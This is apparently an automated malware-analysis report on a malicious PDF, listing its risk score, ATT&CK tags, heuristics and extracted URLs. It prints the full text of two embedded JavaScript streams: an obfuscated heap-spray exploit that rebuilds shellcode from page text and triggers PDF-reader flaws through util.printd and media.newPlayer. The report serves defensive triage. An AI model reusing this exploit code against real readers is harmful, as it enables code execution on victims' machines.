MALICIOUS
118
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
The PDF file contains embedded JavaScript streams that are heavily obfuscated. The JavaScript utilizes String.fromCharCode and appears to be designed to exploit PDF vulnerabilities, as indicated by the 'PDF_JS_EXPLOIT_CLUSTER' heuristic. The script's primary function seems to be memory manipulation and potentially downloading further payloads, although the exact URL is not directly visible due to obfuscation. The ML classifier also strongly flagged this PDF as malicious.
Machine Learning
- Nyx PDF Classifier malicious score 0.9876
Heuristics 5
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var Wo = ssqqrr; var sty = String.fromCharCode(14119,10229); var yR = sty; -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.monotype.comMonotype In PDF document text
- http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
- https://www.verisign.com/rpaIn PDF document text
- http://ocsp.verisign.com/ocsp/status0In PDF document text
- https://www.verisign.com/rpa0In PDF document text
- http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
- http://www.microsoft.com/typographyIn PDF document text
- http://www.iec.chIn PDF document text
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0055_001.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBAE | 1748 bytes |
SHA-256: 08f19cad3fe604f0cd7a08ed2844f6f7258459b0df382a84b4fe849214af50b8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function F3(x1)
{
x1;
}
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
var Wo = ssqqrr;
var sty = String.fromCharCode(14119,10229);
var yR = sty;
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= yR + Wo; i ++;
}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
}
|
|||
javascript_obj0055_002.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBD1 | 3241 bytes |
SHA-256: 0a4665a0b00a1790fe25bb65732494e8d2b0fe7443fab811aedf0eaada30c5f6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function F3(x1)
{
x1;
}
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
var Wo = ssqqrr;
var sty = String.fromCharCode(14119,10229);
var yR = sty;
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= yR + Wo; i ++;
}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util[String.fromCharCode(112,114,105,110,116,100)](String.fromCharCode(49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,55,56,57,48,49,46,51,52,53,54,32,58,32,49,46,51,49,46,51,52), new Date());
}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
<< /Names [ (New_Script) 56 0 R ] >>
endobj
7 0 obj
<< /JavaScript 57 0 R >>
endobj
8 0 obj
[]
endobj
xref
0 58
0000000000 65535 f
0000000015 00000 n
0000000266 00000 n
0001301237 00000 n
0001301283 00000 n
0001301367 00000 n
0001301388 00000 n
0001303324 00000 n
0001303364 00000 n
0000000467 00000 n
0000001848 00000 n
0000411199 00000 n
0000411422 00000 n
0000412403 00000 n
0000414242 00000 n
0000417312 00000 n
0000417507 00000 n
0000418497 00000 n
0000420636 00000 n
0000423742 00000 n
0000423937 00000 n
0000424927 00000 n
0000427257 00000 n
0000430375 00000 n
0000430570 00000 n
0000431409 00000 n
0000433138 00000 n
0000435390 00000 n
0000435585 00000 n
0000436377 00000 n
0000437824 00000 n
0000439728 00000 n
0000439923 00000 n
0000440749 00000 n
0000443111 00000 n
0000445771 00000 n
0000445966 00000 n
0000446744 00000 n
0000448072 00000 n
0000449904 00000 n
0000450099 00000 n
0000450456 00000 n
0000451125 00000 n
0000452259 00000 n
0000452454 00000 n
0000453370 00000 n
0000454829 00000 n
0000961731 00000 n
0000962195 00000 n
0000962249 00000 n
0000962409 00000 n
0000962560 00000 n
0001300754 00000 n
0001300808 00000 n
0001300987 00000 n
0001301422 00000 n
0001303223 00000 n
0001303271 00000 n
trailer
<<
/Size 58
/Root 1 0 R
/Info 2 0 R
/ID [<6C95D0657F37E4B0E155E7C76AB236B3><6C95D0657F37E4B0E155E7C76AB236B3>]
>>
startxref
1303382
%%EOF
|
|||
font_00_sfnt_off0000076d.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x76D | 409280 bytes |
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.